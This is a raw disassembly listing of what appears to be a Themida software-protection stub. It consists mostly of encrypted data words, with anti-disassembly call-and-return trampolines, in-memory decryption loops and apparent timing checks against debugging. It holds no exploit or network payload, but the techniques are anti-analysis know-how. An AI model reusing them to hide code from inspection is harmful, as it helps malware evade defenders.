		dd 0FA1D51BDh, 0E995FF07h, 8B07FA1Ch, 0FA1525BDh, 96858907h
		dd 8107FDEBh, 0C9D10BF7h, 1FDE937h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B5895BC3h
		dd 7FA189Dh
; ---------------------------------------------------------------------------


loc_5D1680:				; CODE XREF: Themida_:005D1569j
		mov	eax, [ebp+7FDEB8Eh]
		push	0
		push	ebx
		call	sub_5D1691
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1691	proc near		; CODE XREF: Themida_:005D1689p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D1691	endp

; ---------------------------------------------------------------------------
		db 3Fh,	0EAh, 7Dh
; ---------------------------------------------------------------------------
		add	al, 60h
		mov	dword ptr [eax], 18h
		pusha
		or	[ebp+7FA3211h],	eax
		add	edx, 5885D509h
		popa
		mov	esi, [ebp+7FDEB92h]
		sbb	bl, 0EBh
		mov	[ebp+7FA22BDh],	edx
		mov	eax, [ebp+7FA0D51h]
		push	0
		push	ebp
		call	sub_5D16DA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D16DA	proc near		; CODE XREF: Themida_:005D16D2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D16DA	endp

; ---------------------------------------------------------------------------
		dw 0A18Fh
		dd 689F9EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	6DC35545h, 0BA6660CFh, 68B35682h, 0E9858B61h, 8007FA0Fh
		dd 4689C9CFh, 41950104h, 9607FA2Fh, 8B666053h, 14E8CFh
		dd 33BC0000h, 28CBD455h, 2FA3C254h, 93759CDDh, 0D5E44906h
		dd 615AF7E0h, 2ABB505Fh, 9607C62Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 87C35242h, 0B99E9C70h, 9686BF66h
		dd 0EB8EB5FFh, 6A07FDh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0DD84B6C3h, 10E99813h, 89000000h
		dd 2B551838h, 395BE0C9h, 9C7101F9h, 897FF3C9h, 0FA0F81B5h
		dd 8C5D6807h, 52508805h, 547CF0BFh, 0E8310F54h,	0Eh, 0AAFE82CEh
		dd 510386DFh, 6526F33Ah, 7E8D34Fh, 0D8000000h, 8C66B3A9h
		dd 5B5BBE7Eh, 481585Ah,	1977A224h, 56006A78h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0FE55FDE3h
		dd 0B41A749Bh, 4CF8166h, 96858DEBh, 6A07FDEBh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6623C356h, 50C640BFh, 0CE9h,	0F36B4000h, 688BAB01h
		dd 0CFA4840Fh, 240489D6h, 1CE995FFh, 816607FAh,	616006D7h
		dd 0BF6640B7h, 85C765E3h, 7FA2BD9h, 3, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 4FC35040h, 84F299FFh, 23F0D2D9h
		dd 0BEEF80E7h, 0EB96BD83h, 0F0007FDh, 3884h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6E990h, 0E3640000h, 22A91906h, 27E9h, 68A0F00h, 8B000000h
		dd 0FA0FC9BDh
; ---------------------------------------------------------------------------
		pop	es


loc_5D18D9:				; CODE XREF: Themida_:005D152Cj
					; Themida_:005D18F0j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D18D9
		jmp	short loc_5D192A
; ---------------------------------------------------------------------------


loc_5D18F4:				; CODE XREF: Themida_:005D190Bj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D18F4
		jmp	short loc_5D192A
; ---------------------------------------------------------------------------


loc_5D190F:				; CODE XREF: Themida_:005D1926j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D190F
		jmp	short $+2


loc_5D192A:				; CODE XREF: Themida_:005D18F2j
					; Themida_:005D190Dj
		mov	eax, eax
		push	0
		push	esi
		call	sub_5D1937
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1937	proc near		; CODE XREF: Themida_:005D192Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D1937	endp

; ---------------------------------------------------------------------------
		lodsd
		mov	edi, 7F3A2664h
		cmp	dword ptr [ebp+7FA2BD9h], 3
		jnz	loc_5D1DDD
		js	loc_5D1968
		pusha
		add	edi, [ebp+7FA27EDh]
		popa


loc_5D1968:				; CODE XREF: Themida_:005D195Aj
		cmp	dword ptr [ebp+7FDEB96h], 0
		jz	loc_5D1DDD
		mov	bx, ax
		push	dword ptr [ebp+7FDEB96h]
		mov	[ebp+7FA227Dh],	esi
		call	dword ptr [ebp+7FA2745h]
		sbb	ebx, 1E5AD030h
		mov	esi, [ebp+7FDEB8Ah]
		mov	edi, 67459F23h
		mov	dword ptr [esi], 10001h
		push	0
		push	edi
		call	sub_5D19AC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D19AC	proc near		; CODE XREF: Themida_:005D19A4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5D19AC	endp

; ---------------------------------------------------------------------------
		dd 0ED9D31F9h, 9607FA1Dh, 0DE8h, 2E55ED00h, 6E88082Bh
		dd 49BD9E78h, 8A60CA41h, 616160E6h, 6A96505Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 80D0C352h, 11E9D9CFh, 55000000h, 78E22797h, 0C5FDD3E2h
		dd 304A1289h, 0C71C48FEh, 0EB96B5FFh, 6A07FDh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 50418FC3h, 0D9F3C37Ah, 0CB99D8Bh, 95FF07FAh,	7FA18E1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3EC35343h
		dd 0C6FE86E0h, 0BE8B304h, 9A000000h, 4F8707ADh,	2FE51FE5h
		dd 8B0F928Fh, 16h, 11E9h, 0F9022100h, 748BC744h, 0B43798Ah
		dd 0E66E0E13h, 8B5F4DC7h, 0FDEB8AB5h, 0E9DB8007h, 1C7D858Bh
		dd 6A07FAh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0EC472DC3h, 0BF49A384h, 0EE9A23Bh, 1A000000h
		dd 1173B1C7h, 0AF7DFA1h, 0C281D6CBh, 858B604Eh,	7FA0CCDh
		dd 5E9h, 87672300h, 8961E7EFh, 0C486h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0DF530368h, 0C3B3F489h, 0F56023FAh, 2F1858Bh, 8B6107FAh
		dd 0FA1CD995h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 6EFF2EA1h, 0F51BCC5h
		dd 385h, 0DEBF0F00h, 1079BD8Bh,	0C28307FAh, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 860FBE94h, 6, 31218D31h, 508907FAh, 96CF8120h, 8D373FF1h
		dd 0FDFEF785h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8B60A7C1h, 0FA0D71B5h
		dd 29953107h, 6107FA18h, 0B88689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 63B314C3h
		dd 3C4A391h, 0EF81E90Fh, 4E2C6E96h, 116D9D33h, 6A07FAh
		dd 0EB96B5FFh, 816607FDh, 0FFB8E3F7h, 0FA1C9595h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 430E8ED5h, 5C881676h, 0F381662Fh, 0BD2B7CA0h, 7FA0F2Dh
		dd 1772F781h, 60961B8Ah, 0E02CBF66h, 12E9h, 77229A00h
		dd 0D065F126h, 0BCCFEA01h, 638B3483h, 612FCB29h, 0BB525050h
		dd 198E1080h, 585A310Fh, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 3EAEDE7h, 603BB5D5h, 2860FCAh
		dd 8B000000h, 96B5FFDEh, 0FF07FDEBh, 0FA1D9595h, 5E907h
		dd 0EEC40000h, 834BEBB2h, 0FA0131BDh, 840F0007h, 0Fh, 5296DE8Ah
		dd 505B58B3h, 0E5852996h, 0FF07FA24h, 0FDEB96B5h, 0D3816607h
		dd 95FF0C5Dh, 7FA1CB5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 4DC35343h, 5499D09h, 0B5FF07FAh, 7FDEB96h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 66C35646h
		dd 0E9A9D802h, 14h, 0FEBD05CBh,	28CC7F33h, 8D9FA65Fh, 5174C8EDh
		dd 86E7D5C5h, 0FFD98B66h, 0FA21AD95h, 35BB6607h, 21BD835Bh
		dd 207FA22h, 58840Fh, 0BD8B0000h, 7FA11A9h, 1615858Bh
		dd 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 262098C3h, 4D858944h, 0C607FA0Dh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 21F815C3h, 0C30B13B6h, 85C7A2D2h, 7FA16DDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D1DBF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1DBF	proc near		; CODE XREF: Themida_:005D1DB7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5D1DBF	endp

; ---------------------------------------------------------------------------
		db 7Ah
		dd 750089B3h, 0B57DB51Fh, 33E78166h
		db 0F0h
; ---------------------------------------------------------------------------


loc_5D1DDD:				; CODE XREF: Themida_:005D1954j
					; Themida_:005D196Fj ...
		jmp	near ptr dword_5D1170+39h
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5D1DED
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1DED	proc near		; CODE XREF: Themida_:005D1DE5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5D1DED	endp

; ---------------------------------------------------------------------------
		and	byte ptr ds:0EC8021DAh,	2Fh
		sub	al, 89h
		mov	ebp, 7FA0EC1h
		mov	eax, ecx
		mov	bl, ch
		lea	eax, [ebp+7FA0199h]
		mov	ebx, [ebp+7FA2F41h]
		push	eax
		mov	edi, eax
		mov	[esp], eax
		jmp	loc_5D1E38
; ---------------------------------------------------------------------------
		dw 9306h
		dd 0AFD03369h, 0D0F38CF1h, 0EAFDD6EFh, 389F2B33h
; ---------------------------------------------------------------------------


loc_5D1E38:				; CODE XREF: Themida_:005D1E21j
		push	0
		push	0
		push	edx
		call	sub_5D1E45
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1E45	proc near		; CODE XREF: Themida_:005D1E3Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D1E45	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5D1DDD
; ---------------------------------------------------------------------------
		db 87h
		dd 53D9F7C4h, 6A90F2CDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 5E20280h, 858D336Eh, 7FEEBC4h
		dd 0F98B6653h, 46BF665Bh, 5C08336h, 18599D03h, 895007FAh
		dd 8D0F2404h, 15h, 10E9h, 0E55E0900h, 0EA86C438h, 0F9EC0A6Eh
		dd 7C6157FEh, 60006A45h, 80CEB060h, 0BB610CC7h,	2410F86Ch
		dd 0DF816661h, 6A3B13h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 9AC35242h, 13EEC771h,	95FF3163h, 7FA2BE9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D9C35242h
		dd 9FFBB422h, 8D8D1F88h, 7FDD711h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0DAC35040h,	91CF81E1h, 23657A07h
		dd 0FA18D1BDh, 0FD1FF07h, 1385h, 0EE900h, 3D3F0000h, 292E832Eh
		dd 0F98F5CE8h, 3B728F0Fh, 33EDBD83h, 0F0107FAh,	9485h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 7983EFC3h, 6A026A2Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0F764C355h
		dd 0FE93679h, 12000000h, 0A0E171Dh, 3DB8A28Ch, 1C9553A1h
		dd 8A903482h, 0DD8A50D8h, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 40A6C600h
		dd 68C0F90h, 9000000h, 0FA26B5B5h, 9595FF07h, 8B07FA1Ch
		dd 0FA1F21BDh, 0DF1E907h, 0E80000h, 5D000000h, 0EBCEED81h
		dd 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 950912C3h, 7FA0675h, 6870Fh, 0BD890000h
		dd 7FA2D71h, 0B959858Dh, 9D8907FDh, 7FA1CF5h, 0B810Fh
		dd 1600000h, 0FA0C858Dh, 0F8BF0F07h, 0BBF9061h,	50191FCDh
		dd 310F5250h, 585A5B57h, 559D8B90h, 6407FA14h, 35FFh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 10C2FBC3h, 0E99D8B2Ah, 6407FA2Ah, 2589h, 0FFF80000h
		dd 0FA104985h, 6AFF6A07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B59C356h, 0FA0EE9BDh
		dd 299D8B07h, 0FF07FA26h, 0FA112DB5h, 0F98B5707h, 95FFF95Bh
		dd 7FA2875h, 123E9h, 0D19D8B00h, 0B007FA0Ah, 0FABF0F00h
		dd 0EE970E6h, 0E000000h, 0E1BCF584h, 0F424DC85h, 18B9092Ch
		dd 5171E41Ch, 26E9C3BFh, 613C5B44h, 0F2830Fh, 0B5310000h
		dd 7FA20B1h, 2553F9BFh,	0C8B60F57h, 0C14EF0BFh,	6BA17h
		dd 0BF0F0000h, 60C18BDBh, 0BE9h, 8FC37600h, 5B0E96E6h
		dd 0B138289Fh, 1479B501h, 0C16107FAh, 87BF04E8h, 6640092Fh
		dd 0BD0BE2F7h, 7FA21D5h, 0F781C82Bh, 0D166713h,	0FC60D18Bh
		dd 29559501h, 0E96107FAh, 94h, 858BDA8Bh, 8, 0BD89DA8Ah
		dd 7FA076Dh, 2907C083h,	0FA2275B5h, 69BD8B07h, 8307FA2Ah
		dd 860F00C0h, 2, 0D03BF98Bh, 0D830Fh, 0FB8B0000h, 5BE9h
		dd 19BD3300h, 8B07FA25h, 0FFFFFF8Dh, 0EE8FFh, 52CC0000h
		dd 2B24F137h, 0B0E0F81Eh, 103D61E6h, 0D3D38166h, 0E1835F43h
		dd 2D840F01h, 0E9000000h, 6, 2DF1FE8Bh,	0A58315BAh, 0FFFFFFFFh
		dd 0BE9FEh, 0B93C0000h,	98652915h, 0FD50DA2Ah, 89589B4h
		dd 0E9000000h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7FE6569h]
		sbb	bx, 0BE35h
		push	0
		mov	ebx, [ebp+7FA2B95h]
		call	dword ptr [ebp+7FA1019h]
		push	0
		push	ebp
		call	sub_5D2238
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2238	proc near		; CODE XREF: Themida_:005D2230p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D2238	endp

; ---------------------------------------------------------------------------
		add	ch, 1Eh
		ror	byte ptr [edi+16499D09h], cl
		cli
		pop	es
		mov	edi, [ebp+7FA07CDh]
		mov	ecx, 0FE9h
		push	0
		push	ebp
		call	sub_5D2269
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2269	proc near		; CODE XREF: Themida_:005D2261p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5D2269	endp

; ---------------------------------------------------------------------------
		imul	ecx, [edx-744BEEA4h], 0FCE183D8h
		mov	edi, [ebp+7FA02C1h]
		cld
		sub	[ebp+7FA2C9Dh],	eax
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D22A0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D22A0	proc near		; CODE XREF: Themida_:005D2298p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D22A0	endp

; ---------------------------------------------------------------------------
		mov	dl, 65h
		push	ebx
		pop	ecx
		adc	eax, 76D9D01h
		cli
		pop	es
		mov	di, 0A802h
		sub	edx, edx
		push	0
		push	edx
		call	sub_5D22CC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D22CC	proc near		; CODE XREF: Themida_:005D22C4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D22CC	endp

; ---------------------------------------------------------------------------
		push	edi
		lodsd
		and	byte ptr [eax-75h], 0D0h
		movzx	esi, ax
		popa


loc_5D22E6:				; CODE XREF: Themida_:005D22F0j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D22E6
		push	0
		push	edi
		call	sub_5D22FD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D22FD	proc near		; CODE XREF: Themida_:005D22F5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D22FD	endp

; ---------------------------------------------------------------------------
		db 0B0h, 0F6h, 3Bh
		dd 5668EC6Bh, 81669FE1h, 60164FD3h, 9E9h, 5118F00h, 0E538EC5Bh
		dd 8B0F2E12h, 6, 153DB58Bh, 6A6107FAh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 32F0C355h
		dd 0E2441EDFh, 880D34A7h, 60000000h, 0F2BF0FF5h, 0D9958B61h
		dd 6A07FA1Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0FA38C352h, 800F26CAh,	12h, 0CE8h
		dd 4B6A8A00h, 0A8904721h, 4201F8F5h, 8D8B5F80h,	7FA31ADh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8CC35242h
		dd 0C283E288h, 10D78166h, 0ED8589F6h, 5007FA2Eh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0B5BD8B58h, 8B07FA33h
		dd 0FA294DBDh, 29BD8307h, 7FA2Ah, 7E840Fh, 0BB660000h
		dd 0B876F4h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 53D1C356h, 0D3827505h
		dd 8D113F9Dh, 0FA4F668Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2400D289h
		dd 0CA2E7248h, 6890Fh, 9D2B0000h, 7FA11A1h, 1C499D8Bh
		dd 0E1FF07FAh, 0FE9h, 81047C00h, 0A622E3E0h, 0E92DE624h
		dd 7FBC4B97h, 2BD9BD83h, 0F0007FAh, 45784h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 57ADDF57h, 2781BD09h, 835B07FAh, 0FA2BD9BDh,	840F0107h
		dd 43Fh, 0A6D9D8Bh, 83F907FAh, 0FA2BD9BDh, 860F0307h, 3F5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 21C35343h
		dd 4C7B690Bh, 37EDE2DAh, 0A19D8B52h, 0B707FA10h, 860F60DCh
		dd 4, 0D4CEBB66h, 13E8h, 6E99D300h, 0CEC7917Fh,	533CC000h
		dd 0CAEDC7C6h, 51AFB01Fh, 0ACE38166h, 8C665BA4h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0DC874EE5h, 29068C2Eh, 0FA1495BDh, 4E18007h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A6C35545h, 840FC90Ah
		dd 153h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0BAC35343h, 89B1FFF7h, 0FA26D98Dh, 0EE907h, 95000000h
		dd 747E228Bh, 14A014FFh, 0F6EC19A3h, 0FE9858Bh,	0BF0F07FAh
		dd 0FBBF0FFBh, 15E18533h, 8BF507FAh, 0DE8A90FEh, 0CDBB6650h
		dd 6A90DDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 3E8B21C3h, 0B09BFACBh, 6E9EBh, 6EDD0000h
		dd 5301CB7Bh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0A8ABB0C3h, 0C1F76806h, 4EBB9AB5h
		dd 817A9382h, 42082404h, 6A6569h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0A9C107C3h, 4C31C9BAh
		dd 0E8151308h, 0Fh, 6EAC22A1h, 905287B4h, 4B14C88Dh, 8BA2C39Bh
		dd 0FA2C419Dh, 0BB665F07h, 95FF692Bh, 7FA1CE9h,	0E780FE8Bh
		dd 96858981h, 6A07FDEBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4DFDC353h, 118749BBh
		dd 729A74Dh, 0CE8h, 3C80D100h, 526C7F93h, 0C7B63D17h, 850F9Dh
		dd 5F000000h, 1B5E9h, 759D8900h, 8B07FA2Fh, 0FDEB8E85h
		dd 0C7F807h, 18h, 8BFE8B66h, 0FDEB92B5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 8B278D89h, 0FA0D5185h, 8EBB6607h, 6A0689BEh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 5AAEC353h, 0C380C7ADh, 0E3BF6608h, 0E9858B6Dh, 6A07FA0Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0D8C1C352h, 8A724F1Eh, 89FA8BD8h,	95890446h
		dd 7FA0091h, 0F0FEBF50h, 348949EBh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FDB7313h
		dd 684h, 899D8B00h, 0F07FA01h, 1789h, 6E800h, 8F770000h
		dd 7B252DEAh, 6E9h, 74864600h, 5B727BC7h, 0EB8EB5FFh, 6A07FDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 4E826C3h, 0FF000000h, 50001F03h, 6919BB51h, 8B5F346Ah
		dd 60042444h, 615A5360h, 89008B61h, 58042444h, 858DF88Bh
		dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	83C35040h, 166A77C6h, 32D10914h, 2145BD89h, 669007FAh
		dd 5002C4BFh, 0FC6070BFh, 8B669032h, 0E995FFDFh, 6A07FA1Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0AF31C356h, 0E9D58F88h, 0Bh, 0FC2DCBF7h
		dd 0EA309640h, 0F9807E8h, 582h,	0CB816600h, 81615A59h
		dd 275F10EBh, 183BF08h,	85C71BA7h, 7FA2BD9h, 3,	1F39B589h
		dd 0BD8307FAh, 7FDEB96h, 22840F00h, 0FC000000h,	37E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0C30509Ah, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B5C35545h, 90142F24h, 6A5F57h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 680FFCC3h, 96F32AE3h, 11E96CB1h, 69000000h, 59132C76h
		dd 56597255h, 656E5F60h, 0F6CD0F07h, 24DDBD29h,	0BD8307FAh
		dd 7FA2BD9h, 20850F03h,	81000004h, 0E1BD39F7h, 96BD8367h
		dd 7FDEBh, 40D840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 30E94CC3h, 8B2AD780h
		dd 0FA2B3DBDh, 96B5FF07h, 6A07FDEBh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3A54C352h
		dd 66FB1998h, 0FFAE16BBh, 0FA274595h, 4D858907h, 0FC07FA0Dh
		dd 0EB8AB58Bh, 6A07FDh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0BF712FC3h, 282B0800h, 106C7h, 6A0001h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7123FAC3h, 0E94995EEh, 60ADCA6Bh, 177DB58Bh,	296107FAh
		dd 0FA0D718Dh, 52505007h, 52505250h, 585A310Fh,	8B66310Fh
		dd 0F585AF9h, 5A98B331h, 24348958h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 1CC35141h, 0A9189CEAh, 519D33F3h
		dd 0FF07FA31h, 0FDEB96B5h, 0FEB70F07h, 18E195FFh, 8B6007FAh
		dd 0FA007D8Dh, 0E5952907h, 6107FA30h, 0EB8AB58Bh, 0FE907FDh
		dd 0FC000000h, 0E5DEEB37h, 3B94B6B8h, 884DF861h, 858B83BDh
		dd 7FA1C7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0AAC35141h, 2724EDD1h, 4585D0A9h, 183DBD23h, 868907FAh
		dd 0C4h, 5E9h, 0AF493300h
		dd 958B0090h, 7FA1CD9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0C1C35040h, 33B55D49h, 8B846EFCh, 0FA1C999Dh
		dd 4C28307h, 2CEF8166h,	2050891Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 5CC35545h, 0B531C29Bh, 7FA24A5h
		dd 0FEF7858Dh, 858907FDh, 7FA0651h, 0B88689h, 0DAB70000h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E77D1FC3h, 6850F7Eh, 8B000000h, 0FA3495BDh
		dd 96B5FF07h, 6607FDEBh, 95FFDE8Bh, 7FA1C95h, 8CCF8166h
		dd 606050EBh, 0D18A5FB3h, 52BA6661h, 3489615Eh,	0B5FFF924h
		dd 7FDEB96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	6CC35545h, 8E0FAF93h, 2, 95FFF88Bh, 7FA1D95h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6FC35747h, 62ABF236h
		dd 9896B8C5h, 31BD83C5h, 7FA01h, 6D840Fh, 8B0F0000h, 6
		dd 24A99D8Bh, 8D0F07FAh, 6, 26E99529h, 509607FAh, 8D0F5250h
		dd 5, 8A2369BFh, 0E8310F54h, 9,	0F2F669FCh, 0EE57C56Bh
		dd 0FE9E3h, 0D0C50000h,	9F84E8A1h, 4866279Bh, 1EE8CB14h
